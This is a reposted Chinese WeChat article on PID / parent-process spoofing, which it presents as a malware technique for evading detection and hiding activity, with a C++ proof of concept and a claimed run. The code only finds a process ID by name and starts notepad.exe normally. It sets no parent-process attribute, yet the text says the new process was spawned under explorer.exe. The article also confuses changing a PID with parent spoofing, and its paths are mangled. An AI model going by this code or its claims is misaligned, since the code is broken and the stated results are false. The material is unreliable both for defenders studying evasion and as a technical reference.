点击上方蓝字关注我们
SPRING HAS ARRIVED
摘要
进程ID(PID)欺骗通常是恶意软件使用的一种隐蔽技术, 其希望以一个由系统上的合法程序创建的进程来执行其恶意意图。在操作系统中, 运行的每个程序都被赋予一个称为进程ID的唯一标识号, 这个PID能够帮助操作系统在系统级别监控每个程序状态, 而PID欺骗就是修改或伪装正常进程的PID, 使恶意程序以合法进程的身份运行。
PID欺骗的目的
恶意软件通过PID欺骗,可能会有机会实现以下功能:
-
规避检测:恶意软件通过修改自身PID为合法PID后, 相当于实现了身份变换, 可以绕过安全软件的检测。
-
绕过访问控制:可以将PID欺骗看作伪造了一个VIP通行证来获取对受限区域的访问权限, 通过伪装成具有合法PID的另一个进程, 可以程序可以欺骗系统的访问控制, 突破系统限制。
-
隐藏恶意活动:PID欺骗使恶意程序可以伪装其行为,使系统管理员和安全分析人员更难以发现任何可疑行为。通过表现得像另一个无害进程, 它可以执行其恶意行为而不会引起任何警告。
-
保持持久性:恶意程序通常在被害系统中需要保持持久性, 以确保长期访问和控制, 通过伪装成合法进程, 其可以根深牢固的潜伏在系统中, 使其变得更难以被发现和删除。
-
促进多阶段攻击:在复杂的网络攻击中, 通常涉及多个阶段, 每个阶段由不同的组件或程序执行。PID欺骗有助于掩盖这些组件的活动, 使对手很难追踪攻击源头。
PID欺骗概念实现
以下是使用C++实现的PID欺骗的概念验证代码:
#include <windows.h>
#include <iostream>
#include <tlhelp32.h>
#include <psapi.h>
#include <string>
// 通过进程名获取PID
DWORD GetProcessIdByName(const wchar_t* processName) {
PROCESSENTRY32W pe32;
HANDLE hSnapshot;
DWORD pid = 0;
// 运行时获取进程在内存中的快照
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
std::cerr << "Error: CreateToolhelp32Snapshot failed (" << GetLastError() << ")n";
return 0;
}
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnapshot, &pe32)) {
do { // 迭代获取所需的进程
if (wcscmp(pe32.szExeFile, processName) == 0) { // 将可执行文件名称与进程名称进行匹配
pid = pe32.th32ProcessID; // Retriving Its PID
break;
}
} while (Process32NextW(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return pid;
}
int main(void) {
std::wcout << L"Enter the process name: "; // 获取进程名
std::wstring targetProcessName;
std::getline(std::wcin, targetProcessName);
DWORD targetProcessId = GetProcessIdByName(targetProcessName.c_str());
if (targetProcessId == 0) {
std::cerr << "Error: Process '" << &targetProcessName << "' not foundn";
return 1;
}
PROCESS_INFORMATION pi;
STARTUPINFOW si = { sizeof(si) };
si.cb = sizeof(STARTUPINFOW);
si.dwFlags = STARTF_USESTDHANDLES; // 使用标准句柄
si.hStdInput = GetStdHandle(STD_INPUT_HANDLE);
si.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE);
si.hStdError = GetStdHandle(STD_ERROR_HANDLE);
// 指定记事本可执行文件的完整路径
std::wstring notepadPath = L"C:\Windows\System32\notepad.exe";
// 使用指定的父进程创建一个新的进程(记事本)
if (!CreateProcessW(nullptr, const_cast<LPWSTR>(notepadPath.c_str()), nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi)) {
std::cerr << "Error: CreateProcess failed (" << GetLastError() << ")n";
return 1;
}
std::wcout << L"Notepad process created successfully with PID: " << pi.dwProcessId << std::endl;
system("pause"); // Holding Console Window
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
在上面的概念验证代码中,实现了以下几个部分功能:
1.通过名称获取进程ID
GetProcessIdByName函数使用Windows工具帮助函数(CreateToolhelp32Snapshot、Process32FirstW、Process32NextW)按名称搜索进程。它接受一个表示进程名称的宽字符字符串,并返回找到的进程ID(PID)。
2.创建新进程
主函数需要一个进程名称。然后调用GetProcessIdByName()来获取指定进程的PID。使用CreateProcessW()创建提供程序的新进程以检索其PID。STARTUPINFOW结构(si)初始化为sizeof(STARTUPINFOW),并指示使用标准句柄的标志。这是保存所提供进程的PID的主要结构。CreateProcessW()使用提供的参数启动指定进程(在本例中为notepad.exe)。如果成功,则返回非零值,并使用有关新创建进程的信息填充PROCESS_INFORMATION结构(pi)。
3.标准句柄
标准句柄(hStdInput、hStdOutput、hStdError)用于指定新进程的输入、输出和错误流。它们设置在传递给CreateProcessW的STARTUPINFOW结构中。默认情况下,这些句柄设置为当前进程的标准句柄。
4.句柄继承
在此代码中,CreateProcessW()的bInheritHandles参数设置为FALSE。这表示新进程不应继承当前进程的句柄,确保它不使用相同的错误和输出流。
5.错误处理
使用标准错误输出(std::cerr)和Windows错误函数(GetLastError)实现错误处理。Windows API函数返回的错误代码用于提供有关失败的诊断信息。
程序验证
以下是程序运行后的效果:
首先输入了进程名:explorer.exe, 之后通过程序获取该进程的PID, 通过该PID作为父进程创建了一个子进程5696, 该子进程指向的二进制程序路径为:C:WindowsSystem32notepad.exe
原文始发于微信公众号(二进制空间安全):Windows中的父进程欺骗技术实现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论